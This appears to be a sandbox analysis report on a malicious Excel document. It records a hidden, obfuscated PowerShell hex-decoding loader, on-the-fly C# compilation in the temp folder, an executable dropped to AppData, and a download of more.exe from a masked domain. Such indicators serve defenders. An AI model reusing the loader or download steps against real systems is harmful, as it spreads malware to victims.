Technical Information
Malicious functions
Executes the following (exploit)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden function da86f9 {param($ec128)$waaa61='vc754';$lc99977='';for ($i=0; $i -lt $ec128.length;$i+=2){$v51e5d=[convert]::ToByte($ec128.Substring($i,2),16);$lc99977+=[char]($v51...
Modifies file system
Creates the following files
- %TEMP%\o03xhzzr.0.cs
- %TEMP%\kbanhnoy.dll
- %TEMP%\resb49d.tmp
- %TEMP%\cscb47d.tmp
- %TEMP%\kbanhnoy.out
- %TEMP%\kbanhnoy.cmdline
- %TEMP%\kbanhnoy.0.cs
- %TEMP%\aw57-yp6.dll
- %TEMP%\res9c91.tmp
- %TEMP%\csc9c71.tmp
- %TEMP%\aw57-yp6.out
- %TEMP%\aw57-yp6.cmdline
- %TEMP%\aw57-yp6.0.cs
- %TEMP%\_imopmee.dll
- %TEMP%\res7e89.tmp
- %TEMP%\csc7e79.tmp
- %TEMP%\o03xhzzr.dll
- %TEMP%\res7419.tmp
- %TEMP%\ulucmv21.dll
- %TEMP%\res736e.tmp
- %TEMP%\csc7409.tmp
- %TEMP%\csc735d.tmp
- %TEMP%\_imopmee.out
- %TEMP%\_imopmee.cmdline
- %TEMP%\_imopmee.0.cs
- %TEMP%\ulucmv21.out
- %TEMP%\ulucmv21.cmdline
- %TEMP%\ulucmv21.0.cs
- %TEMP%\o03xhzzr.out
- %TEMP%\o03xhzzr.cmdline
- %APPDATA%\ac252c.exe
- %LOCALAPPDATA%\microsoft\windows\<INETFILES>\content.word\~wrf{a9385cb6-5e91-4709-9778-f02dd32335be}.tmp
Deletes the following files
- %TEMP%\res736e.tmp
- %TEMP%\_imopmee.out
- %TEMP%\_imopmee.0.cs
- %TEMP%\res9c91.tmp
- %TEMP%\csc9c71.tmp
- %TEMP%\aw57-yp6.0.cs
- %TEMP%\aw57-yp6.dll
- %TEMP%\aw57-yp6.out
- %TEMP%\kbanhnoy.dll
- %TEMP%\aw57-yp6.cmdline
- %TEMP%\resb49d.tmp
- %TEMP%\cscb47d.tmp
- %TEMP%\kbanhnoy.cmdline
- %TEMP%\kbanhnoy.out
- %TEMP%\kbanhnoy.0.cs
- %TEMP%\_imopmee.dll
- %TEMP%\aw57-yp6.pdb
- %TEMP%\_imopmee.pdb
- %TEMP%\o03xhzzr.out
- %TEMP%\csc735d.tmp
- %TEMP%\res7419.tmp
- %TEMP%\csc7409.tmp
- %TEMP%\o03xhzzr.pdb
- %TEMP%\o03xhzzr.cmdline
- %TEMP%\o03xhzzr.dll
- %TEMP%\o03xhzzr.0.cs
- %TEMP%\csc7e79.tmp
- %TEMP%\ulucmv21.out
- %TEMP%\ulucmv21.cmdline
- %TEMP%\ulucmv21.0.cs
- %TEMP%\ulucmv21.dll
- %TEMP%\ulucmv21.pdb
- %TEMP%\res7e89.tmp
- %TEMP%\_imopmee.cmdline
- %TEMP%\kbanhnoy.pdb
Network activity
TCP
HTTP GET requests
- http://gr####eaveperu.com/media/cms/more.exe
UDP
- DNS ASK gr####eaveperu.com
Miscellaneous
Creates and executes the following
- '%APPDATA%\ac252c.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden function da86f9 {param($ec128)$waaa61='vc754';$lc99977='';for ($i=0; $i -lt $ec128.length;$i+=2){$v51e5d=[convert]::ToByte($ec128.Substring($i,2),16);$lc99977+=[char]($v51...' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\o03xhzzr.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\ulucmv21.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\_imopmee.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES736E.tmp" "%TEMP%\CSC735D.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES7419.tmp" "%TEMP%\CSC7409.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES7E89.tmp" "%TEMP%\CSC7E79.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\aw57-yp6.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES9C91.tmp" "%TEMP%\CSC9C71.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\kbanhnoy.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESB49D.tmp" "%TEMP%\CSCB47D.tmp"' (with hidden window)
Executes the following
- '%ProgramFiles%\microsoft office\office14\excel.exe' -Embedding
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\o03xhzzr.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\ulucmv21.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\_imopmee.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES736E.tmp" "%TEMP%\CSC735D.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES7419.tmp" "%TEMP%\CSC7409.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES7E89.tmp" "%TEMP%\CSC7E79.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\aw57-yp6.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES9C91.tmp" "%TEMP%\CSC9C71.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\kbanhnoy.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESB49D.tmp" "%TEMP%\CSCB47D.tmp"
- '%ProgramFiles%\microsoft office\office14\excelcnv.exe' -Embedding
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' Get-MpPreference -verbose
